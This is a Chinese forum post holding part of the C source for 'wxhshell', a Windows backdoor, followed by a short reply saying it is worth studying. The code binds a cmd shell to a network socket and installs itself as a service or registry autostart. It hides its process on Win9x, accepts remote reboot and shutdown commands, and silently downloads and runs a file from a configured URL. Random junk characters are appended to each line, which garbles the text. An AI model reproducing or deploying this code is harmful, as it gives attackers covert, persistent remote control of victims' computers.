  if(DownloadFile(cmd,wsh)) #tfJ?w`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4OIN@n*4  
  else 8'quQCx*=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3&*%>)  
  } _j2`#|oG  
  else { n&Tv]-  
.ev]tu2N  
    switch(cmd[0]) { [{c8:)ar  
  ~G$OY9UC  
  // 帮助 "l@~WE  
  case '?': { "bO]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vaU7tJ:  
    break; +I~?8*  
  } 6x7=0}'  
  // 安装 u}h'v&"e,  
  case 'i': { x-QP+M`Pu  
    if(Install()) \G"/Myi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZuhT \l  
    else tO0+~Wm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }hf*Jw  
    break; =0-qBodbl  
    } H9Z3.F(2  
  // 卸载 E:tUbWVp  
  case 'r': { rTJWftH!  
    if(Uninstall()) V cL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Eg:p_F*lr  
    else Y\=:j7'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3k(?`4JJ  
    break; QRjt.Ry|  
    } t2gjhn^p  
  // 显示 wxhshell 所在路径 e8#3Y+Tc  
  case 'p': { %)e+w+  
    char svExeFile[MAX_PATH]; *~"`&rM(  
    strcpy(svExeFile,"\n\r"); &ar}6eO  
      strcat(svExeFile,ExeFile); .`p_vS9  
        send(wsh,svExeFile,strlen(svExeFile),0); oF^BJ8%Lm  
    break; ]aR4U`  
    } Ij8tBT?jlL  
  // 重启 e{O5y8,  
  case 'b': { :Ry 24X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {V&7JZl,/  
    if(Boot(REBOOT)) c%dy$mkqgK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b(VU{cf2d  
    else { ~_&.A*Jh  
    closesocket(wsh); +!Ltn  
    ExitThread(0); vqHJc2yYkZ  
    } I6fpXPP).  
    break; -a[{cu{  
    } >tzXbmFp;  
  // 关机 LNb![Rq  
  case 'd': { 4tU~ ^z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y[DKj!v  
    if(Boot(SHUTDOWN)) "10VN*)J}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cmeyCyV*  
    else { aFym&n\  
    closesocket(wsh); ..:V3]-D  
    ExitThread(0); m0,9yY::wj  
    } `lhLIQ'j  
    break; Z^l!y5s/H  
    } gK(4<PO'  
  // 获取shell QhUr aZ  
  case 's': { @FV;5M:I  
    CmdShell(wsh); .g~@e_;):  
    closesocket(wsh); a\w | tf  
    ExitThread(0); \2,18E  
    break; -(.7/G'Vk>  
  } 57>ne)51  
  // 退出 _XZ=4s  
  case 'x': { h"ylpv+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); OKVYpf  
    CloseIt(wsh); |DD?3#G01  
    break; >C[1@-]G%7  
    } gT OMD  
  // 离开 t["Df;"O  
  case 'q': { ^IH1@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qrc/Q;$  
    closesocket(wsh); VZoOdR:d  
    WSACleanup(); }v,THj  
    exit(1); C":\L>Ax  
    break; DO1{r/Ib.{  
        } Oy&'zigJ  
  } q#`^EqtUF  
  } W wha?W>  
I={{VQ  
  // 提示信息 ArYF\7P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ];;w/$zke  
} ([*t.  
  } DcA'{21  
!&lPdEc@T  
  return; B6\VxSX4{  
} (Y)h+}n5N  
?m1$*j  
// shell模块句柄 ;l()3;  
int CmdShell(SOCKET sock) LDeVNVM  
{ GJs[m~`8#  
STARTUPINFO si; c!Vc_@V,  
ZeroMemory(&si,sizeof(si)); WZ&@ JB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L@r.R_*H?s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sV[Z|$&Z  
PROCESS_INFORMATION ProcessInfo; Xb* _LZAU  
char cmdline[]="cmd"; hhAC@EGG  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M[u3]dN  
  return 0; 4d G-  
} "S`wwl  
v s|6w w  
// 自身启动模式 _KVB~loT  
int StartFromService(void) I;-5]/,  
{ 9`xFZMd31A  
typedef struct %n25Uq  
{ r5!M;hU1j  
  DWORD ExitStatus; *^6xt7  
  DWORD PebBaseAddress; 03WRj+w  
  DWORD AffinityMask; q&Wwt qc9  
  DWORD BasePriority; !h>$bm  
  ULONG UniqueProcessId; p,\bez  
  ULONG InheritedFromUniqueProcessId; -/c1qLdQ  
}   PROCESS_BASIC_INFORMATION; j#P4Le[t  
tcEf ~|3  
PROCNTQSIP NtQueryInformationProcess; lO> 7`2x=F  
YBIe'(p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MIF[u:&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Az9J{)  
&6=ZT:.6Te  
  HANDLE             hProcess; #0^3Wm`X;  
  PROCESS_BASIC_INFORMATION pbi; b^DV9mO4J  
8'"/gC{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %@93^q[\2  
  if(NULL == hInst ) return 0; NoZ4['NI\  
 _np>({  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Uv`v|S:+2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j jT 2k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MZW Y  
0C+y q'D~[  
  if (!NtQueryInformationProcess) return 0; X]MM7hMuR  
[e@OHQM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P8,jA<W  
  if(!hProcess) return 0; , )pt_"-XA  
H0 n@kKr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _8pkejg  
s*/ G- lY  
  CloseHandle(hProcess); 36WzFq#  
'3UIriY6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dzNaow*0&V  
if(hProcess==NULL) return 0; ,tF" 4|#  
^%$W S,  
HMODULE hMod; soQzIx  
char procName[255]; n;^k   
unsigned long cbNeeded; IOZ|85u =  
/\uH[[s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eKpxskbhZ  
S%s|P=u  
  CloseHandle(hProcess); "jJdUFN  
9hLmrYNM1  
if(strstr(procName,"services")) return 1; // 以服务启动 RyQ\5^z  
X:-bAu}D  
  return 0; // 注册表启动 PSqtZN  
}  ~uZLe\>K  
VfC[U)w*vm  
// 主模块 nBIv{  
int StartWxhshell(LPSTR lpCmdLine) $CwTNm?  
{ d>b,aj(  
  SOCKET wsl; NT9- j#V  
BOOL val=TRUE; |XA aKZA  
  int port=0; t2%@py*bU  
  struct sockaddr_in door; 2X;0z$  
y#Za|nt  
  if(wscfg.ws_autoins) Install(); &T/q0bwd  
^_S-s\DW  
port=atoi(lpCmdLine); K6yFpVl  
h-+a;![  
if(port<=0) port=wscfg.ws_port; -KJ!  
OK2/k_jXN'  
  WSADATA data; 9EA !j}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8j+:s\  
\ [^) WQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]V769B9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  z0Z\d  
  door.sin_family = AF_INET; J(&M<<%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0e:QuV2X  
  door.sin_port = htons(port); z'} =A  
c;8"vJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -f;j1bQ  
closesocket(wsl); K-Dk2(x  
return 1; sa gBmA~  
} s?;<F  
# pjyhH@  
  if(listen(wsl,2) == INVALID_SOCKET) { ic{.#R.BY  
closesocket(wsl); &0 )xvZ  
return 1; ZJI1NCBZ  
} Up/u|A$0V  
  Wxhshell(wsl); 07LL)v~  
  WSACleanup(); C(1A8  
> ?{iv1  
return 0; N7HbOLpM  
6[3Ioh  
} OxHw1k  
6=g]Y!o$  
// 以NT服务方式启动 {cyo0-9nv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d,J<SG&L&  
{ kq}eUY]  
DWORD   status = 0; K0DXOVT\  
  DWORD   specificError = 0xfffffff; E%2!C/+B  
>]XaUQ-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 71<PEawL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o +QzQ+ Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lfpt:5a9&  
  serviceStatus.dwWin32ExitCode     = 0; p`<e~[]a  
  serviceStatus.dwServiceSpecificExitCode = 0; eYD9#y  
  serviceStatus.dwCheckPoint       = 0; !Nxn[^[?.  
  serviceStatus.dwWaitHint       = 0; At[n<8_|  
mp+\!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?Str*XA;  
  if (hServiceStatusHandle==0) return; Rqb{)L X*  
?4,*RCaI  
status = GetLastError(); ~q]|pD"\K|  
  if (status!=NO_ERROR) :a f;yu  
{ "U5Ln2X{J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gcW{]0%L^  
    serviceStatus.dwCheckPoint       = 0; .t^UK#@#4  
    serviceStatus.dwWaitHint       = 0; L4/TI(MP  
    serviceStatus.dwWin32ExitCode     = status; F3Ak'h{Ay  
    serviceStatus.dwServiceSpecificExitCode = specificError; */5<L99v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^;CR0.4  
    return; jY#(A23  
  } )*TW\v`B  
kTi PZZI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]dGr1 ncu  
  serviceStatus.dwCheckPoint       = 0; kO,VayjT  
  serviceStatus.dwWaitHint       = 0; i^s`6:rNu  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ghJ,s|lH  
} 9?l?G GmQ  
(4{ C7  
// 处理NT服务事件,比如:启动、停止 srChY&h?<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ll<9f)  
{ L%o65  
switch(fdwControl) Lr24bv\  
{ =N@)CB7a  
case SERVICE_CONTROL_STOP: ]lB3qEn<  
  serviceStatus.dwWin32ExitCode = 0; JW%/^'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -|k&L}\OB0  
  serviceStatus.dwCheckPoint   = 0; S4{Mu(^xT  
  serviceStatus.dwWaitHint     = 0; %];h|[ax]  
  { 1 ~B<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =UB*xm%!  
  } FUzMc1zy|  
  return; 6Bq~\b^  
case SERVICE_CONTROL_PAUSE: N&x WHFn]C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DQ n`@  
  break; )ZgER[  
case SERVICE_CONTROL_CONTINUE: x8pbO[_|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,. 6J6{  
  break; }W__ffH  
case SERVICE_CONTROL_INTERROGATE: J2oWssw"  
  break; 8=n9hLhqo  
}; lZS_n9Sc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +C'TW^  
} !HdvCYB>  
j2 o1"  
// 标准应用程序主函数 !0!U01SWa  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /.| A  
{ [yYH>~SuwZ  
cz7 CrK~5  
// 获取操作系统版本 m<FWv2)^  
OsIsNt=GetOsVer(); )O2Nlk~l&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >2|[EZ  
?x5wS$^q<  
  // 从命令行安装 XoKO2<3  
  if(strpbrk(lpCmdLine,"iI")) Install(); )D Gz`->  
k"q!|+&Fs  
  // 下载执行文件 E,<\T6/%q  
if(wscfg.ws_downexe) { .0Iun+nUD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QX/X {h6  
  WinExec(wscfg.ws_filenam,SW_HIDE); *%OYAsc  
} ;LQ# *NjL\  
l\T!)Ql  
if(!OsIsNt) { I+Ncmg )>  
// 如果时win9x,隐藏进程并且设置为注册表启动 Xx3 g3P  
HideProc(); w'oo-.k  
StartWxhshell(lpCmdLine); z_:eM7]jv  
} J0ZxhxX35  
else *]}CSZ[>  
  if(StartFromService()) {uaZ<4N.  
  // 以服务方式启动 4GU/V\e|  
  StartServiceCtrlDispatcher(DispatchTable); eq@am(#&kY  
else <THZ2`tTK3  
  // 普通方式启动 d}{LM!s  
  StartWxhshell(lpCmdLine); Hhe{ +W@~  
yyY~ *Le  
return 0; `2x H7a-  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八